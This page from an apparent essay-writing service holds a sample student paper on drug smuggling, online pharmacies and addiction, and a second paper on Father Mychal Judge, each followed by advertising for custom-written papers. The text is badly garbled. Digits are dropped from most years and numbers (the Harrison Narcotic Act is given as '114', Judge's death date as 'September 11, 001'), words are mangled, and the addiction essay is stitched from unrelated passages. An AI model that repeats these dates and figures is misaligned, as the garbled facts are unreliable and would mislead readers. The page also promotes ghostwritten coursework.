Drugs of all kinds come from just about any place you can imagine. They are shipped via plane, boat, car, train, all forms of transportation can smuggle drugs from here to there. The government has made feeble attempts in my opinion to stop this from happening. The government cant stop it all though even with the strict laws and customs at the borders they will always find a way to get them through.

LAS VEGAS -- In July 001, regulators at the Nevada State Board of Pharmacy noticed something unusual among the reams of data that flow into the busy agency each day. Buried along with the other numbers was a report from a small Internet pharmacy that had filled 1,105 prescriptions for painkillers and other dangerous drugs that month. The same tiny pharmacy had dispensed just 17 prescriptions in the prior six months.

Virtually overnight, prescriptiononline.com had become one of the largest distributors of controlled substances in Nevada. Over the next year, the online pharmacy shipped nearly 5 million doses of highly addictive drugs to customers scattered across the country. By the time regulators shut the Las Vegas firm in January, prescriptiononline.com accounted for 10 percent of all hydrocodone sold in Nevada, regulators said. It turned out that the booming business was owned by a -year-old former restaurant hostess. But it was run by her father, who had been convicted of a felony in 1.(Gaul,Flaherty)

Using this as an example from an article I found online is the perfect example of why stopping drug use and sale is next to impossible. Children of all ages use the internet daily and getting drugs is as easy as turning on the t.v. On the internet is just like picking up the phone and getting it and is just as risky. I mean people do get arrested all the time for drug related incidents but when one goes down ten more start up so how exactly should this be handled? I dont have all the answers for how this should be handled but I do know how addictions work first hand I myself understand addiction quite well I am a recovering heroine addict and it could very well be the most difficult thing Ive had to deal with in my whole life. Once you are using every day to not use is not an option. I have been so sick at times it seems like it will never end until I use again. Have you ever gone a week without sleeping? Physical and psychological addictions are very alike and very different at the same time. Addiction means that the person addicted thrives on the substance or action. Physical addictions like alcoholism and heroin are sometimes very noticeable yet, psychological addictions like gambling are very hard to diagnose. A similarity between the two types of addictions are the stages that lead up to a full blown addiction. Addictions go through many stages before reaching the pinnacle of an addiction. For example, a gambler will first start off betting a dollar, then two, then ten, then a hundred until finally the gambler isoke. An example for a physical addiction would be the stages that lead to becoming a true alcoholic. It will all start with one beer, , then Jell-O shooters, then a margarita, then just drinking liquor straight up out of the bottle, then who knows what the drinker will turn to next. After going through all of these stages the term used for the addiction is usually disease because the addiction is going to slowly kill the person addicted. Though the term addiction is usually thought of as someone on drugs or drinking, many normal everyday people are addicted to the one thing everyone has a little of everyday, caffeine. Caffeine is one of North Americas leading addictions prevalent amongst teenagers. Caffeine is found in chocolate, soda, coffee, and tea. In conclusion, this shows that many things can become addictive. No matter what the addiction it is not good. If more people would realize this there would be less of an addiction crisis than there is today. The United States of America has been contending with adverse social and economic effects of the drug abuse, namely of heroin, since the foundation of this country. Our initial attempt to outlaw heroin with the Harrison Narcotic Act of 114 resulted in the U.S. having the worst heroin problem in the world . Although the legislative actions regarding heroin produced ominous results that rarely affected any individuals other than the addict and his or her family, the late twentieth centuryings rise to the ever-infringing AIDS epidemic in conjunction with heroin abuse. The distribution of clean needles to intravenous drug users is being encouraged in an attempt to prevent the transmission of human immunodeficiency virus (HIV). In todays society, the war on drugs has become a major issue in our cities and the business community. Many cities have started programs to make the situation better, but some have failed and the situation has become worse. There are many organizations and volunteer community groups as well as law enforcement, that are continuously trying to make our cities safe.

The war on drugs is a very big part of our society. We face difficult decisions everyday dealing with drugs and how they affect our cities. Our children play a big role in that society, and they are a major factor on the war against drugs. We try to keep children away from the drug situation, but you cannot isolate them forever. Children will have to face the issue as they get older, or even while they are young. We must teach our children about the issues on drugs and make sure they are aware of the dealings that go on. Most children cannot speak to their parents about drugs, and those are the children who are usually doing drugs. If children cannot be open with their parents, they will find some other means of dealing with drug issues not all of them good. You have to teach them while they are young about drugs and their effects make sure they understand drugs and consequences of using them.

By Gilbert M. Gaul and Mary Pat Flaherty

Washington Post Staff Writers

Monday, October 0, 00; Page A01

Please note that this sample paper on addiction is for your review only. In order to eliminate any of the plagiarism issues, it is highly recommended that you do not use it for you own writing purposes. In case you experience difficulties with writing a well structured and accurately composed paper on addiction, we are here to assist you. Your cheap custom college paper on addiction will be written from scratch, so you do not have to worry about its originality. Order your authentic assignment and you will be amazed at how easy it is to complete a quality custom paper within the shortest time possible!

Mychal Judge

If you order your research paper from our custom writing service you will receive a perfectly written assignment on Mychal Judge. What we need from you is to provide us with your detailed paper instructions for our experienced writers to follow all of your specific writing requirements. Specify your order details, state the exact number of pages required and our custom writing professionals will deliver the best quality Mychal Judge paper right on time. Out staff of freelance writers includes over 120 experts proficient in Mychal Judge, therefore you can rest assured that your assignment will be handled by only top rated specialists. Order your Mychal Judge paper at affordable prices! Mychal Judge was born Emmet Judge on May 11, 1 inooklyn, New York. His parents were of Irish descent and came to the United States from County Leitrim. At the early age of six, Mychal watched his father die of a long illness. Although this was a terribly difficult time for him, Mychal moved on with his life with the help of his deep spirituality. According to Dympna, Mychals twin sister, Mychal always wanted to become a priest and his determination was proven by the many years that he served as an altar boy. He was officially ordained in 161, six years after taking his vows.

Father Judge served in two New Jersey Parishes as well as playing the role of assistant to the President at Siena College in Loudonville, New York. Even with his busy schedule, Mychal Judge had a passion for firefighting. Any time a tragedy struck; Mychal Judge was there, fearless and ready to help.

After a friar at Assisi died of Cancer in 1 Father Mychal Judge became a fire chaplain for the New York Fire Department. He said "I always wanted to be a priest or a fireman; now Im both." Mychals loyalty was always to the fire department and he responded to every alarm that he could. The only things in life Father Judge stressed about were the calls that he couldnt respond to and the people he couldnt help.

Father Judges long days would usually conclude around 10 p.m. at which time he would return phone calls from the 0 to 40 messages that were on his answering machine. Mychal would also call and check on some of the people that he had helped throughout the day. At times, Mychal was content just sitting and writing in his journal. Mychal lived his life entirely for other people and was completely happy living this way. When asked what he needed, Mychal would respond "Absolutely nothing. I dont need a thing in the world. I am the happiest man on the face of the earth." This positive attitude rubbed off on everyone that came in contact with Father judge.

College Essays on Mychal Judge Father Judges life ended on September 11, 001. He was the first official fatality in the World Trade Center attack. He was listed as victim No. 00001 on his death certificate. All of his life, he wanted to be the first one to help and lead the way for others, and September 11 was no different. Even Mychals friends agree that it was the perfect exit for Father Mychal Judge. One of Mychals fellow priests commented that this was the start of his second life.

Father Mychal Judge was a true hero, not just for sacrificing his life on September 11, but for everything he did in life. He demonstrated strength, courage, and an unselfish desire to help others on a daily basis. Father Mychal Judge is definitely a man who should be admired as well as a man whose actions will never be forgotten.

Please note that this sample paper on Mychal Judge is for your review only. In order to eliminate any of the plagiarism issues, it is highly recommended that you do not use it for you own writing purposes. In case you experience difficulties with writing a well structured and accurately composed paper on Mychal Judge, we are here to assist you. Your persuasive essay on Mychal Judge will be written from scratch, so you do not have to worry about its originality. Order your authentic assignment and you will be amazed at how easy it is to complete a quality custom paper within the shortest time possible!